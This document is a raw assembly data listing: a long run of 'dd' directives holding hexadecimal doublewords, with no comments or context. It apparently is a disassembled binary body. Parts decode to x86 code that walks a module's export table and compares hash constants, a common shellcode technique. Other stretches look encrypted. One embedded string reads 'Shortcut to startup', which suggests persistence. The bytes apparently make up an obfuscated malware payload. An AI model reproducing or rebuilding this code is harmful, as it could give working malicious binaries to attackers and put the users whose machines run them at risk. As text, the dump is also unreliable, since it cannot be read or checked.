		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0DBB6C355h
		dd 22A9BD8Bh, 0BE6606A6h, 0B5FF4265h, 6A615EDh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 0FFA1B0C2h
		dd 0A61A7995h, 6AC1B006h, 5995FF00h, 8B06A629h,	0C65DEBC0h
		dd 4122B40Bh, 9F03D4EDh, 0A958AB00h, 9EC49033h,	437879D1h
		dd 2B388238h, 8F7EDA2h,	0F0486254h, 0E72521B9h,	0B6837656h
		dd 3E590AFDh, 729F2589h, 0E514E2ABh, 0E4703FB6h, 0A2D8C542h
		dd 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 0E1098422h, 0E69C58C8h
		dd 0D43F3AD5h, 9F737795h, 9D5CB6F0h, 7E8h, 24F13700h, 0E0F81E2Bh
		dd 1F499589h, 8B5906A6h, 0A6088995h, 75C18106h,	8B00005Ch
		dd 0A6167D9Dh, 16F7B806h, 0B5890000h, 6A63219h,	895E31FFh
		dd 0A62A3D8Dh, 67EE8106h, 8B1576C8h, 0A6014DBDh, 1CF68106h
		dd 8924A912h, 0A61D219Dh, 0B4C68106h, 0F94E8EB9h, 298D8956h
		dd 8F06A616h, 21BD8901h, 8106A61Fh, 75915EE9h, 498D894Ch
		dd 8106A61Fh, 75915AC1h, 1E8834Ch, 10850Fh, 0F5600000h
		dd 0E961F48Ah, 16h, 0A77BBAD3h,	9D89FDB7h, 6A60D8Dh, 0FFFF93E9h
		dd 2BF933FFh, 0AE820DDh, 80000000h, 0A706D960h,	229DFC98h
		dd 0C9816690h, 0B85EB7E9h, 6E90A8D5h, 6A80C681h, 81660000h
		dd 0BF6684E0h, 1A7Eh, 168BD8B0h, 4158D8Bh, 0EA8106A6h
		dd 62AF6FF7h, 5850Fh, 81660000h, 81E334D8h, 0FFBE00C2h
		dd 0C281F96Dh, 69CAAA93h, 0FCD98166h, 81168991h, 6D4DF8F0h
		dd 4EE8358h, 12B18D89h,	0F4F06A6h, 1085h, 0ED9D8900h, 0E906A628h
		dd 17h,	4725C1EBh, 0FFA8E954h, 0B9C3FFFFh, 1A7B6F82h, 99003DD1h
		dd 0E8C3B78Dh, 8, 0D7CA1510h, 0E07A47DBh, 1B218589h, 605F06A6h
		dd 2850Fh, 0F98B0000h, 0C78161F8h, 69B9h, 33C9BF0Fh, 55858BD2h
		dd 0FF06A62Ah, 0B85B3A34h, 3FC85B56h, 4DBDEB81h, 0FE84B38h
		dd 11000000h, 26A47D4Ah, 82953190h, 2C1391B3h, 81663B1Eh
		dd 5958BCD6h, 0D686C381h, 860F5BA3h, 6,	2C958D8Bh, 0C38106A6h
		dd 4D5CFAF1h, 8F0Fh, 1C890000h,	0EA83FC17h, 0A1BD0102h
		dd 4A06A61Ch, 0B8D9814Ah, 815FC0B6h, 0FF96D8FAh, 98850FFFh
		dd 0B0FFFFFFh, 0F19D8D74h, 0B806A608h, 39h, 86D8589h, 0E806A6h
		dd 58000000h, 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h)
		dd 93E9FFh, 59E50000h, 6853364Ch, 6374726Fh, 74207475h
		dd 7473206Fh, 75747261h, 70h, 1Eh dup(0)
		dd 109AE900h, 0F680000h, 0E906AB62h, 0FFFBE036h, 0AB634A68h
		dd 0E02CE906h, 1068FFFBh, 0E906AB65h, 0FFFBE022h, 0AB654F68h
		dd 0E018E906h, 4368FFFBh, 0E906AB66h, 0FFFBE00Eh, 0AB670468h
		dd 0E004E906h, 7068FFFBh, 0E906AB6Bh, 0FFFBDFFAh, 0AB6E1B68h
		dd 0DFF0E906h, 1868FFFBh, 0E906AB6Fh, 0FFFBDFE6h, 927E5A0h
		dd 0D379B991h, 0E78D75C7h, 0B5C30F0Bh, 7816DE7Dh, 0AFEC0BA5h
		dd 79DFCB61h, 360793B9h, 0CB4CA4F2h, 0EABE6F05h, 0E99CF3F8h
		dd 0ADED710Ah, 0F7351A26h, 7AC6C242h, 7ED1898Eh, 183F8BBEh
		dd 8AE82862h, 0D6663AECh, 3AF95F12h, 0D8F26E5Ah, 3B1B6236h
		dd 0DF708218h, 0E0E1A419h, 7A0E16B2h, 7C776514h, 0E20AEE97h
		dd 0F49CEEDAh, 0BF2CEAC1h, 38h,	9526129Fh, 7766DF13h, 0FBAD332Eh
		dd 3AE77B09h, 71D89818h, 479B8CB3h, 668E2FF0h, 0FECA32E1h
		dd 167E998h, 4B6F7870h,	0D7F10AEEh, 79E7AFFBh, 24AA2CEAh
		dd 82000001h, 8D621426h, 521194FCh, 40839FBh, 226B3751h
		dd 0D67921E6h, 0F4476316h, 0EEA17D0Ch, 0CF62A294h, 35F55149h
		dd 8FA20004h, 6B89C03Dh, 671ADE7Fh, 4CE79CE1h, 0E1478F8Dh
		dd 0A5D77822h, 94C43CB3h, 0F2AEAE11h, 13399F5Dh, 0DE15C789h
		dd 11194C4h, 0F99FCE0Eh, 0C4B63D2Fh, 50341194h,	0C91D9953h
		dd 0E7A81194h, 1177B39Bh, 14D47B07h, 0AEE13917h, 53E4BC6Eh
		dd 0AE78DC6Dh, 94BF37BCh, 0ECD3B511h, 1D91795Fh, 13B9D20Bh
		dd 0EC40A09Ah, 318B7D2Fh, 56183AADh, 855D8E8Ah,	38B9D43Ch
		dd 0E7703795h, 0A4EBB761h, 2B89A764h, 27C9C35Fh, 11972D38h
		dd 6D8882FAh, 4AA48355h, 2863C211h, 0CA9BFBA6h,	22FEAA69h
		dd 21F1AB69h, 4FE5AA6Ah, 7838F853h, 0BAE3E710h,	0FC48B584h
		dd 2700000Dh, 6880AE1Ah, 5E4AE020h, 821E34FCh, 0F42C4A86h
		dd 22F39947h, 0E8286392h, 20E05642h, 75BF9E0Ah,	8C4CC3DFh
		dd 837507E6h, 0AE99A6Ch, 28D464FEh, 1B97BD63h, 8C84E34h
		dd 9BB11779h, 668D7F01h, 0C41194FCh, 26BB8380h,	0FC8D6214h
		dd 791F1194h, 72EEDABAh, 2BDAB658h, 0B979183Bh,	0F96E2D9Dh
		dd 46F58D9Fh, 30A8999Eh, 0AEECCB7h, 67239F29h, 2CEAFB2Fh
		dd 468E8C54h, 0D0ABBDFFh, 0FDA21662h, 0F11Dh, 67287D00h
		dd 652BF7A1h, 0F3B094A5h, 0E9D764BEh, 1566058h,	286F1195h
		dd 6F3BF952h, 0F054E52Dh, 4F6B892h, 1194F7EFh, 5F011B7Dh
		dd 1194F798h, 0E74D720Ah, 0B5C4040Bh, 0DE716753h, 0F733B8AAh
		dd 0D7B11194h, 79391371h, 461211D1h, 3B222C94h,	0DE741018h
		dd 0DC0434CCh, 675139DFh, 20E057D5h, 8C74C6C2h,	0BC8A7C2Eh
		dd 9C11976Eh, 2A559A4Ch, 0B09A0446h, 0E5FC170h,	623EE84Eh
		dd 7D5FF526h, 36CF4A32h, 0F8BFA1D0h, 0A6481A2Ch, 4462151h
		dd 0F1E3B5D3h, 44621FAh, 732FEC68h, 0A67218D8h,	0C6A49595h
		dd 98FC8D77h, 7ED4D43Ah, 6EBAE440h, 0CC1EEDBh, 27620000h
		dd 0FB534FE5h, 0B399113Fh, 41CD2573h, 1C3FEB81h, 0CD67BED4h
		dd 927EDAEh, 0D17FBF91h, 9AB070D9h, 0ADCB090Eh,	31C6A878h
		dd 0B30AE999h, 6328EF2Fh, 341B97BDh, 0A40ACE4Eh, 67286E8Eh
		dd 13690A1h, 7B47B5C3h,	2E6D35E7h, 857721E6h, 183B178Fh
		dd 3088B9DFh, 26E52B60h, 0EEE19952h, 0C1F9070Ah, 0EB101181h
		dd 7802Ch, 9F80000h, 934h, 30261241h, 0A274DA1Ah, 3B1660B0h
		dd 41F09418h, 4412D265h, 0EF91EBACh, 0AEEE208h,	0AEBF6BD7h
		dd 0E283681Ah, 67E10AEEh, 8E651701h, 1C0AEEE2h,	75671A78h
		dd 723305A4h, 0C071B187h, 0B79351E6h, 0EB2E4387h, 0E3DC9D35h
		dd 391EF52Dh, 0F2455DFBh, 30AD7F32h, 36127F01h,	63151A5Bh
		dd 0A3AAD889h, 0F116825Ch, 2872DA84h, 8C90A167h, 0EFD8B731h
		dd 71D76AAEh, 0C1762C13h, 0AFEC0903h, 8499808Ah, 22FE5655h
		dd 2BFDAF6Dh, 0AA4CB239h, 0F45CD8A3h, 0C57047B7h, 237F490h
		dd 0AA725A96h, 0FCD4CCA3h, 2C6770Bh, 2E3F66Fh, 953FDB0h
		dd 193EE4ABh, 1531C1DBh, 0F6A0A4D5h, 0AA9DEF04h, 141B7DA3h
		dd 0D753E43Ch, 0F1331A60h, 187EDC40h, 2B2A5369h, 0F7FB78C9h
		dd 9C64040Bh, 0C0641600h, 8FAA508Ch, 293ADA56h,	6C53EF65h
		dd 30F79DFBh, 33AF9BCCh, 0ADA57719h, 0F68AA3AAh, 6AEA9F45h
		dd 0D3D4B0A5h, 6F76B921h, 0DE523E74h, 0DC0434CCh, 27B0DDFh
		dd 0B137AEE4h, 0C34F5B90h, 2D127207h, 0F316215Bh, 4EE365BEh
		dd 3CEE824Eh, 505FC14Ah, 0AB7D1BB8h, 0B660A097h, 0A067A5EAh
		dd 44E71E88h, 88E657B9h, 12DE7A26h, 2C2752Dh, 9B69361Eh
		dd 32AF9A61h, 0AFBh, 81AF1D38h,	4BE12169h, 1F35FD5Fh, 2D4B8783h
		dd 0F09E46F5h, 0D764933Dh, 0E15743E9h, 0BE9F0B21h, 73C4DC7Ah
		dd 7206E78Dh, 0E9976B80h, 0D565F90Ah, 0E1A16728h, 0C8331B9Dh
		dd 0BCE1DA6Fh, 6700000Ah, 0A840EEDAh, 9E0A20E0h, 0C2DE74BCh
		dd 34EC8A46h, 62B3D907h, 28E8A3D2h, 60A09602h, 0B57FDECAh
		dd 0CC0C039Fh, 0C3B547A6h, 0AE9972Ch, 269424BEh, 955D82BFh
		dd 34FB7495h, 56EB296Eh, 1701CF4Ch, 6E03CF4Bh, 9C0329EEh
		dd 7D5B2760h, 3BB0A2DEh, 0A9119470h, 543849AFh,	3F1C24F6h
		dd 546632F1h, 42418F8Ch, 3A7C66B6h, 493BCD18h, 0AEE64A2h
		dd 0D6474400h, 0AD03F5B6h, 0FACCABBEh, 9ED31126h, 69ABE2BEh
		dd 0D1B774D8h, 3AA375E9h, 0E9A0A7F6h, 0CF36162Bh, 0BF7CB610h
		dd 1781FBEDh, 0FA864FD7h, 7FE19050h, 0FFA9AFB8h, 0DC430786h
		dd 0B97E55AEh, 7C6E3088h, 428A5B77h, 0BD6D29F5h, 7E2A888Ch
		dd 761615DFh, 3BB0A28Ah, 0A9428A5Bh, 0AD5F49AFh, 4933CC62h
		dd 36CADCB8h, 0ACC9C301h, 19B87F57h, 8EA6656Bh,	3BFF3D12h
		dd 0F27F0575h, 0C8259EABh, 6B000009h, 5C54E22Eh, 821E34FCh
		dd 0F6224888h, 38F09E4Ah, 6E87AD13h, 3CE457C6h,	74B49A16h
		dd 894BC2DEh, 0C00037E3h, 0BFA173AAh, 0AE99638h, 28E028AAh
		dd 3890A167h, 6316D678h, 0D5643EFDh, 0D08741EFh, 0E51194FCh
		dd 0D4143B1Dh, 4B5DA3A5h, 405BE899h, 0A8942E18h, 0F98848C2h
		dd 1C003197h, 8DAECBEh,	0E99C9166h, 0B675130Ah,	0B365ABECh
		dd 58300B4Ah, 0D8C09E74h, 9EFEB371h, 0D067B399h, 0D47A0610h
		dd 0C624ECAEh, 965870C1h, 0B68040CAh, 0AE90B41h, 0F7331FA3h
		dd 0BF7CC242h, 76D2A8E3h, 992554BAh, 0DD12C4B0h, 20AE90Bh
		dd 0E49DC808h, 3551F63Eh, 2F8D1376h, 87992F6Bh,	8F78C1C1h
		dd 907h, 95A3612Ch, 5FF53D1Dh, 6309C943h, 315F8BB7h, 0C49252F9h
		dd 23688729h, 0F55B57FDh, 8A831F35h, 47C8204Eh,	6E32EB81h
		dd 0E995777Ch, 2169F50Ah, 90A16728h, 0C9C30136h, 0FC9E5507h
		dd 480C1194h, 938F850h,	97330007h, 800F62A5h, 0C7ADB70Ch
		dd 44F6D061h, 72AAED9Ch, 7F011546h, 25EBAC43h, 0D28C0A73h
		dd 7109AB5Fh, 70009AB2h, 0E6661BD9h, 0D1C2D221h, 9EC73390h
		dd 8298EEBBh, 8D6D525Dh, 568h, 8A2612EDh, 71986590h, 8EED7E8Bh
		dd 5C2DDF89h, 0B2184027h, 1F30C0DAh, 1B33CFD9h,	8C12D265h
		dd 8473A18Fh, 511EAF3h,	0F85E6292h, 0CAE75349h,	5D78455h
		dd 0B3A5D17Dh, 917CF23Ch, 3948AEAEh, 3E3D5548h,	0E6C6E20h
		dd 2B675309h, 0B378726Bh, 8C84010h, 3D670Bh, 12C70000h
		dd 629B8D23h, 0D30A1E09h, 0CC989F66h, 94BFD51Ah, 0CF4C1411h
		dd 73150201h, 2165CA3Eh, 0A54331FCh, 87553D0Dh,	0F36A1329h
		dd 0B7E0B30Dh, 0D2B07703h, 7, 270098Ah,	12410000h, 0C3043723h
		dd 0F71AF047h
		dd 0C475DBC9h, 38E9FD40h, 56DA66A8h, 0EF4B41F0h, 0CF8B0082h
		dd 56D4653Dh, 0B0D3CE4h, 0F3B094A5h, 0E5ADFDD5h, 0ACBA23D8h
		dd 36h,	8D23128Ch, 69130CFCh, 932D8B01h, 8397CE27h, 6E5656D8h
		dd 0FB9F5406h, 4B0D9828h, 0BFD726E5h, 0C4BA2525h, 0F3AB4032h
		dd 0C8749828h, 40B4D18h, 5B66h,	2312C600h, 0FCA05739h
		dd 4A021194h, 2C6E32E4h, 72F355E4h, 7AC0F3B3h, 13C5CA68h
		dd 5999B141h, 3849AE5Ah, 0BDDB1194h, 0AC08BB90h, 0E8BA162Ch
		dd 33909FA8h, 23EBh, 23124300h,	4E99B8Dh, 621194FDh, 7DE1B6EAh
		dd 10524E14h, 33912780h, 733h, 0AB096B00h, 41000001h, 15309h
		dd 23124100h, 3E0CFC8Dh, 5F66E540h, 1D0237F3h, 22B8BE59h
		dd 0EA5672EDh, 948C0B3Eh, 8F77C53Ch, 25349AFAh,	8040CB97h
		dd 9AB36FF1h, 66252B5Eh, 78E502BEh, 3318D2D2h, 65D8BCCDh
		dd 37D9D79Fh, 0BC4461C0h, 0DCC42A22h, 7CF3B070h, 0DE408C14h
		dd 75DBE7A9h, 0B68084B5h, 0BC446941h, 4E6A5A3h,	0B1h, 8D231264h
		dd 0FD02E99Bh, 0E4601194h, 29AC6755h, 26F231B5h, 45F4341Ah
		dd 0AC04DCC3h, 5090A77Bh, 2B633F21h, 35FA5AEFh,	70FDCEC6h
		dd 68C513h, 0BD70000h, 5039DA05h, 2E9DE20Ah, 0C5D7B9C8h
		dd 7457DC13h, 90E4EF1h,	311A262Dh, 0BF6BD7F3h, 0BB2D18F8h
		dd 0A01474E1h, 559157E7h, 1BD08256h, 8911941Ah,	3205DDCFh
		dd 1A5F9446h, 8BCD1194h, 17DF7D25h, 0C3DE262h, 0B447739Ch
		dd 6E56E47Eh, 8848CFDBh, 564252F9h, 0F45A9EBFh,	236F5B65h
		dd 0C6701873h, 183Eh, 0BF261E00h, 0E597FA59h, 1194340Eh
		dd 7F85F89Ch, 0B54E4DBEh, 92h, 0A1672885h, 0D0783890h
		dd 8F591310h, 5A1194FCh, 0A70336F2h, 0FF1E5397h, 3B128921h
		dd 0FE869BF9h, 0A4642BC2h, 36E98BF2h, 0E535A904h, 0CA9C0E26h
		dd 947ED318h, 0CE375111h, 0E9C1CA32h, 0C660274Fh, 0F3311A26h
		dd 3BD9DEBEh, 0B344D44Ch, 0C6A49776h, 98FC8D77h, 90BB073Ah
		dd 3AFA2150h, 8077198Eh, 0E21194FCh, 4816046Ah,	99A9750h
		dd 15C71195h, 1194EFDEh, 55AA084Ch, 33911A3Eh, 0FFFE6D77h
		dd 1426D7FFh, 94FC8D62h, 0BA791F11h, 263C1h, 67288900h
		dd 13690A1h, 7B47B5C3h,	4D4335E7h, 99183B1Bh, 955E4AFFh
		dd 420AEEDEh, 0AC760BC9h, 0C91021EFh, 0AFA2FF2Bh, 0A9E9B911h
		dd 0E82CEB08h, 35h, 8A261240h, 2BA2EE90h, 20F2183Bh, 5CFDA56Bh
		dd 89033694h, 0AEECC5Eh, 1B8C24C0h, 7E33F747h, 0AAEA191Eh
		dd 0DF2CEAFAh, 0D0C80803h, 14F6B57Bh, 0BCh, 0A1672874h
		dd 6B053690h, 0FC40B759h, 0AAA21194h, 94FC1BD0h, 69CF8911h
		dd 8B49CED8h, 72BB22F6h, 79079D61h, 62EEAECAh, 0FB6B8303h
		dd 7EDE935Fh, 0C84F1B18h, 0CB28F817h, 63C19533h, 0D4C7F3D5h
		dd 59FE1194h, 0B22BFD9Bh, 71931180h, 66A6E9ADh,	957D0300h
		dd 6B5D0F19h, 23183CAAh, 0ECAF7325h, 0B9920E24h, 918B4BC1h
		dd 0EB6408EFh, 9CE29A0Ah, 8982E09Ch, 0E8D564C1h, 49Bh
		dd 610FFD58h, 2B418189h, 0FF955DFFh, 8DAB6723h,	50FE2615h
		dd 0B784F35Dh, 41F72349h, 1E3FEB81h, 0D364BCDAh, 92A647EDh
		dd 0E9910BE0h, 0B505990Ah, 0B7A26328h, 42D8E49Bh, 0C0D876D4h
		dd 4BE3894Fh, 90A16728h, 6DC0136h, 76E3493Bh, 47283B0Eh
		dd 0C06EB4FEh, 1AE6D462h, 3EE29486h, 4E183A4Eh,	91A17B0Eh
		dd 8F4DC2B8h, 77349AFAh, 0EE276C85h, 35EDB30Ah,	96801CE4h
		dd 0AB4032C4h, 390AEE27h, 27866D5Fh, 60E40AEEh,	0D577061Dh
		dd 7D2213EEh, 7063B9ABh, 5F631194h, 0C2D43AFEh,	62A4B9Bh
		dd 29EE17A2h, 637C9903h, 79B99158h, 203ED204h, 0B498A96Fh
		dd 0C7B35156h, 0FE8F712Bh, 500AF3CAh, 0AE506234h, 0FD9D0B49h
		dd 59E5BDDBh, 22FEAA69h, 1882A868h, 7330F058h, 9D0B7879h
		dd 5E9AB3FDh, 642AF630h, 10995A4h, 4EACB0C1h, 4FB049h
		dd 69A0000h, 1194FCEDh,	88A63600h, 47FA3A10h, 94FC9E55h
		dd 0CAE63E11h, 0EFB979D3h, 6A619976h, 1211BD1Dh, 2CDEE03Ah
		dd 119478C7h, 0A67C2325h, 8C1C2D97h, 0EB9E46F4h, 85B47CDFh
		dd 8A7E3D83h, 11947862h, 0DC33EF85h, 0F99B77Dh,	1A19D973h
		dd 0A361283Ch, 0C005348Eh, 751FA044h, 0BFF1580Ch, 7BDBC03Dh
		dd 66B4C52Bh, 0FB876058h, 534C8952h, 22986A27h,	0FFABADDCh
		dd 0CD959A5Eh, 1CEE844Ch, 11942DCFh, 324E45BAh,	74473390h
		dd 27FFFFFFh, 90A16728h, 0B5C30136h, 35E77B47h,	3B1B4D43h
		dd 3106DA18h, 0DE5E9547h, 88CC0AEEh, 7231172Ah,	0FACE63E5h
		dd 0DEB14628h, 4A330AEEh, 0A14D3B1Eh, 8A89EFAAh, 0EE2BF5FEh
		dd 655D6B0Ah, 9454F080h, 56306097h, 8D552CEAh, 0A6444B8Bh
		dd 3Fh,	0BB3022F4h, 290AEE23h, 2402E99Bh, 0E4600AEEh, 12A58186h
		dd 0EE908A26h, 183B2BA2h, 0D5E79AF2h, 1ADE7F03h, 0EECCCB20h
		dd 783F590Ah, 0EECC638Ch, 0F723FD0Ah, 0EAFADBBBh, 0D6D62Ch
		dd 28B60000h, 0CE4D1567h, 0FCBF3406h, 2B2D1194h, 9DAAD3C5h
		dd 924F8EE9h, 0F5C7743Bh, 0E5AA6A2Dh, 0A3D61E3Dh, 26F03007h
		dd 45F4341Ah, 536FDCC3h, 70B086FCh, 1120E0A8h, 3983A90Fh
		dd 1194207Dh, 16D27A06h, 6C64911h, 599FB068h, 0FADCA428h
		dd 1B0D9351h, 1ED58749h, 8C119416h, 0D7A584D7h,	268492C8h
		dd 19559761h, 25F9183Ah, 214FAD15h, 0B16B07F3h,	9686F7CFh
		dd 9B8DCB11h, 9A8C74C7h, 0C6F7CB63h, 7CC1D385h,	0F9151802h
		dd 78D0D77Ah, 6525EBA0h, 0BAE39541h, 0F09D0633h, 33000001h
		dd 64BCDA16h, 0AA46ECD4h, 9E0A20E0h, 0C0D876B2h, 36EF854Bh
		dd 14DC7F9Eh, 2CECA27Eh, 61A3EA06h, 0B878DFCBh,	97790B92h
		dd 0AE98E60h, 28D870C2h, 1B97BD63h, 3E5EF434h, 908A2612h
		dd 3B2BA2EEh, 0E79AF218h, 0A96A8D5h, 0B4B1DDF9h, 48B539D9h
		dd 20E78D97h, 0EED69B54h, 0CFFB050Ah, 0EB051383h, 0DB9E2Ch
		dd 28FE0000h, 3690A167h, 3BCDDF05h, 94FCA249h, 5C440011h
		dd 3E7330F0h, 8F3D73EAh, 0E8FF1C50h, 0DBD81830h, 944D9521h
		dd 0A96F2011h, 0F7591983h, 1D020237h, 7F32F245h, 6B3DB199h
		dd 4340B759h, 874A1194h, 513D43Fh, 0AC5E62FBh, 1194C347h
		dd 5E5DA3A5h, 4436F88Ah, 1194C3AFh, 0CC4F5B3Dh,	73750704h
		dd 1B183ADFh, 19E1D77Dh, 0A7A84F31h, 5D3A0AEEh,	5DB35960h
		dd 6BC92F83h, 0CF98CFB1h, 522A1196h, 2D93B878h,	60A0EB07h
		dd 0E3A918A0h, 0D0CD7CBAh, 0F3h, 0B9D71530h, 43E92961h
		dd 173DE557h, 2573BF9Bh, 0E8864ECDh, 0DF7C9B35h, 0E9AF7B11h
		dd 0A6970329h, 7BDCD462h, 7A0E9FB5h, 0E98D6388h, 0DD7DC10Ah
		dd 97BD6328h, 1DEB341Bh, 0D731F0DAh, 33F3455Dh,	92B81E7Eh
		dd 1567287Ah, 94FC8C63h, 187E1E11h, 1EDA720Eh, 0D1BAFA6Bh
		dd 32EE46C9h, 405AEFACh, 8D6309CFh, 0AD7F29C5h,	25BA4A30h
		dd 4D72773Eh, 400FC6BBh, 5CFE0018h, 1D63E594h, 3FFD526Ch
		dd 42A95B6Dh, 0A00AE950h, 5149E7A4h, 910B3EFEh,	3BD0794Ah
		dd 0CF269292h, 3FF69748h, 0B51CC7C9h, 66AEEDh, 5B99BE6Ah
		dd 0CAB09C26h, 6CF08143h, 0F5441C0Eh, 903B080Fh, 0DE71A800h
		dd 3013E101h, 53B157D5h, 5090B979h, 0D0783F21h,	9D5204D6h
		dd 0FDA02D9h, 0BF904A49h, 14DFC879h, 0BF000000h, 8D621426h
		dd 0F71194FCh, 0AAAE5DDBh, 81C79616h, 2866C682h, 308ABF6Dh
		dd 1EA8D91Fh, 7A44F53Fh, 596514D4h, 0A37F32F2h,	8D1928E8h
		dd 96304181h
		dd 0F1CD7CA4h, 0E2E89959h, 52E08950h, 0EE5674BAh, 90C2812Bh
		dd 1D411A9h, 0E8835AD0h, 24048704h, 6CBA685Ch, 1C890000h
		dd 459C6824h, 4890000h,	6437BB24h, 0CB814666h, 29796453h
		dd 4302EBC1h, 81E3D143h, 9E8178C3h, 6EB81EFh, 8106682Ah
		dd 0D05AEAF3h, 0E3814B14h, 6BE31773h, 0B2C9EB81h, 8B541976h
		dd 0C4832404h, 8BA5204h, 81000000h, 3473ADEAh, 81C2011Ah
		dd 3473ADC2h, 5A1A891Ah, 582434FFh, 4C481h, 34FF0000h
		dd 0C4815B24h, 4, 0FBCFADE9h, 34E09CFFh, 0C918BC96h, 0AB7030B8h
		dd 0FFC50306h, 0C92359E0h, 63F95D08h, 91F5C51Eh, 0B2412931h
		dd 7FE1F53Fh, 0CB37CF40h, 0B1D79160h, 9ABBF712h, 26229C75h
		dd 0F31A9738h, 0E77AE435h, 4E2E4B56h, 58F1CB13h, 138B3122h
		dd 0DDF2DE70h, 88C0D364h, 0A28D8D57h, 6A06AB71h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0C856C352h, 16564737h, 0FFBCCBA8h, 6AD8D89h,	0BD3306A6h
		dd 6A62B21h, 2A159529h,	85C706A6h, 6A6040Dh, 6CA4h, 0B6C7BE60h
		dd 0C3817515h, 6C902D2Dh, 0E985C761h, 6A60Bh, 81000000h
		dd 58E1A8E7h, 0F9B5FF14h, 0E906A60Ah, 8, 0E30EEEA8h, 151D1870h
		dd 1A7995FFh, 8E906A6h,	0AC000000h, 0E4E60D79h,	6A627E68h
		dd 5995FF00h, 8B06A629h, 1718EBC0h, 5A4BF58Dh, 0CD2151D8h
		dd 0BC0EB168h, 2E56EF50h, 599ACA26h, 8D70A72Eh,	0AB72D08Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 47AF34Eh, 2ACF4877h, 29560CA7h, 0A62D959Dh
		dd 8E95E06h, 98000000h,	0ACC8138h, 899D4132h, 0A606AD8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 58ACF4A4h, 0CD0A29F0h, 3361958Bh, 85C706A6h
		dd 6A6040Dh, 7350h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 10C35343h, 0C787F4FDh, 0A60BE985h, 6
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8706B9FFh, 0FFF5C544h, 0A60AF9B5h, 8E96006h
		dd 89000000h, 0B0236B10h, 89643C63h, 0A60741BDh, 95FF6106h
		dd 6A61A79h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0DEC35646h, 292EE697h, 0A615E185h, 0FF006A06h
		dd 0A6295995h, 0EBC08B06h, 871A7918h, 9D7A02A8h, 0EBE03900h
		dd 4FD8C861h, 8C13F18Ch, 2E2BD4F5h, 0B0E9A1h, 66600000h
		dd 0C2F6DA8Ch, 0C850F04h, 3B000000h, 0A62F8D85h, 36840F06h
		dd 3B000000h, 0A6330585h, 2A840F06h, 3B000000h,	0A615C585h
		dd 1E840F06h, 3B000000h, 0A6327985h, 12840F06h,	83000000h
		dd 0A633D1BDh, 840F0106h, 5, 5FE9h, 3D08B00h, 0BA8B3C52h
		dd 88h,	85784A8Bh, 49840FC9h, 81000000h, 0F8C2h, 0C728B00h
		dd 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh
		dd 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh, 0DE9FFFFh
		dd 8D000000h, 0A64F559Dh, 5B806h, 0E3FF0000h, 0D00BC361h
		dd 29E9h, 0F3196C00h, 14h, 8 dup(0)
		dd 0E9E90000h, 8C000004h, 59E431DBh, 632A678Dh,	3E19947Eh
		dd 0CA75C02Eh, 66A5F026h, 0D20428C7h, 7E9F847h,	36E0838Ah
		dd 648E5CFBh, 14C74929h, 33679AFFh, 5BFC46E1h, 0C5133E87h
		dd 731DB0E9h, 0A70C68A5h, 0AB186ABCh, 0E12C5DB7h, 0CEF259C1h
		dd 0DE7D6118h, 35CCE9B5h, 8F574FBBh, 27F7854Dh,	0C508312Dh
		dd 62520BE1h, 0B4DD7E04h, 0BA35CC03h, 94EE3240h, 338E6446h
		dd 62BF6914h, 0BFEE38DBh, 33D98A31h, 75DAA80Ah,	0AFE19876h
		dd 20C31163h, 3BED384h,	4AA035CCh, 6644C35Eh, 10BEDD8Ch
		dd 0C635CC03h, 8722A6DCh, 0C6F0FE4Eh, 61h, 0AA7109Eh, 1C35CC1Fh
		dd 5B94ACA6h, 0A4036D87h, 0AB1A6882h, 0CCE9F968h, 0F1032F35h
		dd 0FEA45E75h, 11DF0h, 5B850000h, 0BC306983h, 0A5BF5117h
		dd 0EA6481Eh, 0A64102E4h, 0F71E4F3Bh, 0EA511FF1h, 0EF5E14FAh
		dd 28DB29F1h, 2A5836D4h, 0F4986AE1h, 0AB877B22h, 0C57C6AD9h
		dd 84110DDBh, 0F643A9B9h, 9DD7ABCh, 3E2291E3h, 903FB1E8h
		dd 9D0138D2h, 0E9CB78D3h, 0E5DD35CCh, 0EC06206Fh, 0A0D2DCBDh
		dd 0D984E72h, 93CA2002h, 15D66F7Ch, 0E9B92A8Dh,	33AF35CCh
		dd 0EA326B47h, 0E930B4CEh, 0E8F0FEAAh, 73h, 6BB95BAAh
		dd 0E8FBB815h, 97B6A2BFh, 0D8816B78h, 14C63CE4h, 2463BE68h
		dd 10BFEE38h, 0BB0BE50h, 4A9BB55h, 4F1DBAB0h, 2C18CEF2h
		dd 8B788A56h, 0A39AA0Dh, 0B32F35CCh, 49DD44A1h,	61FCF0FEh
		dd 0A6000000h, 3E6FB95Bh, 0E45D09B6h, 847E2FF9h, 4A75DAA8h
		dd 5AF760EEh, 4C35CCE9h, 0E98C2556h, 389235CCh,	0F0BA1D4Ch
		dd 7AAC5082h, 0CA9A412Fh, 7A122E24h, 0BAE309DDh, 0A1850A58h
		dd 57FF124Bh, 5735CCE9h, 80CF7E90h, 0D31049A3h,	0B64E51Fh
		dd 9E7C66Dh, 0CC146E50h, 0A49732B6h, 1D6F0FEh, 5C000000h
		dd 26C865Bh, 402E8CF2h,	5C16931Eh, 0BD887E9h, 20598FB2h
		dd 3B0C2BEh, 7894B55Fh,	789655F2h, 5B87DDC1h, 0CE6FB29h
		dd 0F914D1B1h, 5A26877Fh, 0DADE6C1Ch, 0CCE1D071h, 0F0ECC635h
		dd 275BFC62h, 0CF3EB2DFh, 471BAAD3h, 0F81410ADh, 0BEBEF0D2h
		dd 17BCB692h, 10BFB953h, 1F83BA6Ch, 68CE045h, 6A563C55h
		dd 0BAC82233h, 6A56EA19h, 98EAA033h, 0F472984Ah, 3DA15318h
